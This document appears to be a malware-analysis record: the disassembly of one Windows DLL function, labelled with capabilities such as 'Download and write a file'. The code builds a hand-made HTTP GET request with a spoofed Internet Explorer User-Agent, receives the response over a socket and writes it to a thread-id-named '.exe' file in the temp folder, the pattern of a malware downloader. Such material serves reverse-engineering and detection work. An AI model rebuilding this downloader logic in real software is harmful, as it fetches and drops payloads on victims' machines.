Function at 0x10002df0
Capabilities:
Download and write a file
Get common file path
Get socket status
Receive and write data from server to client
Receive data
Receive data on socket
Send data
Send data on socket
Send http request
Send http request with host header
Write file on windows

Disassembly:
sub esp, 0x51c
push ebx
push ebp
push esi
push edi
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x229]
mov byte [esp + 0x228], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x329]
mov byte [esp + 0x328], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, dword [esp + 0x530]
push 0x2f
lea esi, [edi + 7]
push esi
call dword [sym.imp.MSVCRT.dll_strchr]
add esp, 8
mov dword [esp + 0x1c], eax
test eax, eax
je 0x10002e72
mov ecx, eax
sub ecx, edi
lea edi, [esp + 0x328]
sub ecx, 7
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x10002e83
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea ecx, [esp + 0x328]
push esi
push ecx
call edi
lea edx, [esp + 0x328]
push 0x3a
push edx
call dword [sym.imp.SHLWAPI.dll_StrChrA]
mov esi, eax
test esi, esi
jne 0x10002eb5
lea eax, [esp + 0x328]
lea ecx, [esp + 0x228]
push eax
push ecx
call edi
mov dword [esp + 0x10], 0x50
jmp 0x10002ed6
lea edx, [esp + 0x328]
lea eax, [esp + 0x228]
push edx
push eax
mov byte [esi], 0
call edi
inc esi
push esi
call dword [sym.imp.SHLWAPI.dll_StrToIntA]
mov dword [esp + 0x10], eax
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
push 0x10010b06
mov dword [esp + 0x18], 0
call ebx
test eax, eax
je 0x10002f50
mov eax, dword [0x10011038]
test eax, eax
je 0x10002f50
push eax
push 0x10010b06
call fcn.10004550
mov ebp, eax
add esp, 8
test ebp, ebp
je 0x10002f50
mov dword [esp + 0x14], 1
mov ecx, 0x7f
xor eax, eax
lea edi, [esp + 0x29]
mov byte [esp + 0x28], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [esp + 0x14]
mov edi, dword [sym.imp.USER32.dll_wsprintfA]
test eax, eax
je 0x10002f76
mov eax, dword [esp + 0x530]
lea ecx, [esp + 0x28]
push eax
push str.GET__s_HTTP_1.1_r_n
push ecx
call edi
add esp, 0xc
jmp 0x10002fa0
mov ecx, dword [esp + 0x10]
lea edx, [esp + 0x228]
push ecx
push edx
call fcn.10004550
mov ebp, eax
add esp, 8
test ebp, ebp
jne 0x10002f14
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x51c
ret
mov eax, dword [esp + 0x1c]
test eax, eax
je 0x10002f90
push eax
lea edx, [esp + 0x2c]
push str.GET__s_HTTP_1.1_r_n
push edx
call edi
add esp, 0xc
jmp 0x10002fa0
lea eax, [esp + 0x28]
push str.GET___HTTP_1.1_r_n
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [esp + 0x28]
push str.Accept:___r_n
push ecx
call esi
lea edx, [esp + 0x28]
push str.User_Agent:_Mozilla_4.0__compatible__MSIE_7.0__Windows_NT_5.2__.NET_CLR_1.1.4322__.NET_CLR_2.0.50727__InfoPath.1__r_n
push edx
call esi
mov eax, dword [esp + 0x10]
cmp eax, 0x50
jne 0x10002fe7
lea eax, [esp + 0x228]
lea ecx, [esp + 0x28]
push eax
push str.Host:__s_r_n
push ecx
call ebx
lea edx, [esp + eax + 0x30]
push edx
call edi
add esp, 0xc
jmp 0x10003006
push eax
lea eax, [esp + 0x22c]
push eax
lea ecx, [esp + 0x30]
push str.Host:__s:_d_r_n
push ecx
call ebx
lea edx, [esp + eax + 0x34]
push edx
call edi
add esp, 0x10
mov eax, dword [esp + 0x14]
test eax, eax
je 0x10003021
lea eax, [esp + 0x28]
push str.Proxy_Connection:_Keep_Alive_r_n
push eax
call ebx
lea ecx, [esp + eax + 0x2c]
push ecx
jmp 0x10003032
lea edx, [esp + 0x28]
push str.Connection:_Keep_Alive_r_n
push edx
call ebx
lea eax, [esp + eax + 0x2c]
push eax
call esi
lea ecx, [esp + 0x28]
push str.Cache_Control:_no_cache_r_n_r_n
push ecx
call esi
lea edx, [esp + 0x28]
push 0
push edx
call ebx
push eax
lea eax, [esp + 0x30]
push eax
push ebp
call dword [sym.imp.WS2_32.dll_send]
lea ecx, [esp + 0x18]
push 1
push ecx
push ebp
mov dword [esp + 0x24], 0
call fcn.10003440
add esp, 0xc
test eax, eax
jne 0x10003086
push ebp
call dword [sym.imp.WS2_32.dll_closesocket]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x51c
ret
mov esi, dword [esp + 0x534]
push esi
push 0xc8
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
push str._d.exe
push esi
call ebx
add eax, esi
push eax
call edi
add esp, 0xc
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [esp + 0x10], eax
jne 0x100030e6
push ebp
call dword [sym.imp.WS2_32.dll_closesocket]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x51c
ret
mov edx, dword [esp + 0x18]
xor eax, eax
xor ebx, ebx
mov ecx, 0x40
neg edx
sbb edx, edx
lea edi, [esp + 0x42c]
and edx, 0x2dc6b6
mov dword [esp + 0x428], 0
add edx, 0xa
mov dword [esp + 0x24], ebx
rep stosd dword es:[edi], eax
push 0xffff
mov dword [esp + 0x24], edx
mov dword [esp + 0x28], ebx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edi, eax
mov eax, dword [esp + 0x1c]
add esp, 4
mov dword [esp + 0x14], eax
lea ecx, [esp + 0x20]
lea edx, [esp + 0x428]
push ecx
push ebx
push ebx
lea eax, [ebp + 1]
push edx
push eax
mov dword [esp + 0x440], ebp
mov dword [esp + 0x43c], 1
call dword [sym.imp.WS2_32.dll_select]
test eax, eax
jle 0x100031b4
push ebx
push 0xffff
push edi
push ebp
call dword [sym.imp.WS2_32.dll_recv]
mov esi, eax
cmp esi, ebx
jle 0x100031b4
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0x1c]
push ebx
push eax
push esi
push edi
push ecx
mov dword [esp + 0x30], ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [esp + 0x538]
mov ecx, dword [eax]
add ecx, esi
mov dword [eax], ecx
mov eax, dword [esp + 0x18]
cmp eax, ebx
je 0x10003137
mov eax, dword [esp + 0x14]
sub eax, esi
cmp eax, ebx
mov dword [esp + 0x14], eax
jg 0x10003137
push edi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov edx, dword [esp + 0x14]
add esp, 4
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebp
call dword [sym.imp.WS2_32.dll_closesocket]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x51c
ret